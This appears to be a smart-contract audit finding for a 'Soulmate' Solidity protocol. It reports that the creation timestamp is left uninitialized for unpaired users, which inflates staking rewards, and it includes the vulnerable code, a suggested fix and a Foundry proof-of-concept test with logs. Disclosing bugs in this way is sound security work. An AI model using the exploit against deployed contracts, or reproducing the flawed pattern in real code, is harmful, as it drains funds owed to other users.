Vulnerability Details
Whether a user is waiting for pair with a soulmate or assigned with a soulmate, the soulmate token is available for claiming airdrop or staking. However, the creation timestamp of the soulmate token is assigned a value during reuniting. The uninitialized timestamp of token will lead to incorrect reward calculation.
The snippet below is from Staking.sol
. lastClaim[msg.sender]
will get zero due to uninitialized timestamp and timeInWeeksSinceLastClaim
will be block.timestamp minus zero.
if (lastClaim[msg.sender] == 0) {
lastClaim[msg.sender] = soulmateContract.idToCreationTimestamp(
soulmateId
);
}
uint256 timeInWeeksSinceLastClaim = ((block.timestamp -
lastClaim[msg.sender]) / 1 weeks);
Impact
If a user cannot pair with a soulmate. He will get more reward in staking.
Tools Used
Manual.
Recommendations
Initialize timestamp in if block if (soulmate1 == address(0)) { ... }
not else if (soulmate2 == address(0))
.
function mintSoulmateToken() public returns (uint256) {
address soulmate = soulmateOf[msg.sender];
if (soulmate != address(0))
revert Soulmate__alreadyHaveASoulmate(soulmate);
address soulmate1 = idToOwners[nextID][0];
address soulmate2 = idToOwners[nextID][1];
if (soulmate1 == address(0)) {
idToOwners[nextID][0] = msg.sender;
ownerToId[msg.sender] = nextID;
idToCreationTimestamp[nextID] = block.timestamp;
emit SoulmateIsWaiting(msg.sender);
} else if (soulmate2 == address(0)) {
idToOwners[nextID][1] = msg.sender;
ownerToId[msg.sender] = nextID;
soulmateOf[msg.sender] = soulmate1;
soulmateOf[soulmate1] = msg.sender;
emit SoulmateAreReunited(soulmate1, soulmate2, nextID);
_mint(msg.sender, nextID++);
}
return ownerToId[msg.sender];
}
PoC
Logs below.
Running 2 tests for test/timestamp.t.sol:Timestamp
[PASS] testTimestampGeneral() (gas: 408374)
Logs:
25920000
100000000000000000000
[PASS] testTimestampPoC() (gas: 197836)
Logs:
0
400000000000000000000
pragma solidity ^0.8.23;
import {Test, console2} from "forge-std/Test.sol";
import {BaseTest} from "./unit/BaseTest.t.sol";
contract Timestamp is BaseTest {
function testTimestampPoC() external {
vm.prank(soulmate1);
soulmateContract.mintSoulmateToken();
vm.warp(300 days);
console2.log(soulmateContract.idToCreationTimestamp(0));
uint256 amount = 100 ether;
_giveLoveTokenToSingle(amount);
vm.startPrank(soulmate1);
loveToken.approve(address(stakingContract), amount);
stakingContract.deposit(amount);
stakingContract.withdraw(amount);
stakingContract.claimRewards();
vm.stopPrank();
console2.log(loveToken.balanceOf(soulmate1));
}
function testTimestampGeneral() external {
vm.prank(soulmate1);
soulmateContract.mintSoulmateToken();
vm.warp(300 days);
vm.prank(soulmate2);
soulmateContract.mintSoulmateToken();
console2.log(soulmateContract.idToCreationTimestamp(0));
uint256 amount = 100 ether;
_giveLoveTokenToBoth(amount);
vm.startPrank(soulmate1);
loveToken.approve(address(stakingContract), amount);
stakingContract.deposit(amount);
stakingContract.withdraw(amount);
stakingContract.claimRewards();
vm.stopPrank();
console2.log(loveToken.balanceOf(soulmate1));
}
function _giveLoveTokenToSingle(uint256 amount) internal {
uint256 numberDays = amount / 1e18;
vm.warp(block.timestamp + (numberDays * 1 days));
vm.prank(soulmate1);
airdropContract.claim();
}
function _giveLoveTokenToBoth(uint256 amount) internal {
uint256 numberDays = amount / 1e18;
vm.warp(block.timestamp + (numberDays * 1 days));
vm.prank(soulmate1);
airdropContract.claim();
vm.prank(soulmate2);
airdropContract.claim();
}
}